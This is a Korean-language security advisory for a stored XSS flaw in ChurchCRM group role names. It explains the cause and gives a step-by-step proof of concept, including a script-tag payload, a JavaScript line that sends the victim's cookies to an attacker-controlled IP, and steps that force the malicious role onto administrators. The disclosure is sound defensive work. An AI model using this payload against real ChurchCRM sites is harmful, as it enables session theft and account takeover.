
CVE-2025-67876 - ChurchCRM의 그룹 역할 이름에 저장형 XSS 취약점이 존재하여 관리자 세션 하이재킹으로 이어질 수 있음
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2025-67876 |
| 심각도 | 치명적 |
| 보안 권고 | 권고 보기 |
| 발견자 | Lukasz Rybak |
ChurchCRM에는 “Manage Groups” 권한을 가진 낮은 권한의 사용자가 그룹 역할 이름에 지속형 JavaScript를 주입할 수 있는 저장형 XSS(Cross-Site Scripting) 취약점이 존재합니다. 페이로드는 데이터베이스에 저장되며, 관리자를 포함한 모든 사용자가 GroupView.php 또는 PersonView.php처럼 해당 역할을 표시하는 페이지를 볼 때마다 실행됩니다. 이를 통해 완전한 세션 하이재킹과 계정 탈취가 가능합니다.
근본 원인은 그룹 역할 이름을 처리할 때 입력 검증과 출력 인코딩이 부족하다는 점입니다.
GroupEditor.php에서 그룹을 편집할 때 사용자는 역할 이름을 수정할 수 있습니다. 애플리케이션은 입력값을 살균(sanitize)하지 않습니다(예: strip_tags, htmlspecialchars, 서버 측 검증 없음). 이 값은 list_lst 데이터베이스 테이블에 저장됩니다.
이후 저장된 값은 이스케이프 처리 없이 HTML에 직접 주입됩니다:
이스케이프가 적용되지 않으므로 역할 이름에 저장된 모든 HTML 또는 JavaScript는 피해자의 브라우저에서 실행됩니다.
따라서 낮은 권한의 사용자(Manage Groups 권한 보유)는 역할에 JavaScript를 주입하고 해당 역할을 관리자에게 할당하여 권한을 전체 관리자로 승격할 수 있습니다.
공격자가 제어하는 머신에 x.js를 생성합니다:
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));
파일을 서빙합니다:
python3 -m http.server 800
Manage Groups 권한이 있는 사용자로 로그인합니다.
다음 경로로 이동합니다: Groups → List Groups → 아무 그룹이나 선택 → Settings.
“Group Roles” 섹션에서 기존 역할을 편집하거나 새 역할을 만듭니다.
악성 페이로드를 삽입합니다:
"><script src=//172.20.0.1:800/x.js></script>
Group Roles 목록에서 XSS 페이로드를 주입한 역할 옆의 Default를 클릭합니다.
이렇게 하면 그룹에 추가되는 모든 사용자에게 악성 역할이 자동으로 할당되므로, 관리자가 자신의 프로필을 볼 때 XSS가 트리거될 가능성이 높아집니다.
이전 기본 역할(일반적으로 "Member") 옆의 Delete를 클릭합니다.
정상적인 기본 역할을 제거하면 시스템이 이후 모든 할당에 XSS가 주입된 역할을 사용하게 되어, 피해자가 자신에게 할당된 역할을 표시하는 페이지를 볼 때 실행이 보장됩니다.

Group View 페이지로 이동합니다.
아무 사용자나 그룹 구성원으로 추가합니다(예: Church Admin).
드롭다운에서 악성 역할을 선택합니다.
할당을 저장합니다.
피해자(관리자)가 다음 페이지를 방문하면:
자신의 사용자 프로필: PersonView.php
그룹 보기 페이지: GroupView.php
저장된 JavaScript가 즉시 실행됩니다.
공격자 서버에는 수신 요청이 표시됩니다:

이로써 계정 탈취 성공이 확인됩니다.
CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
이 CVE는 조정된 취약점 공개(coordinated vulnerability disclosure) 관행에 따라 책임 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.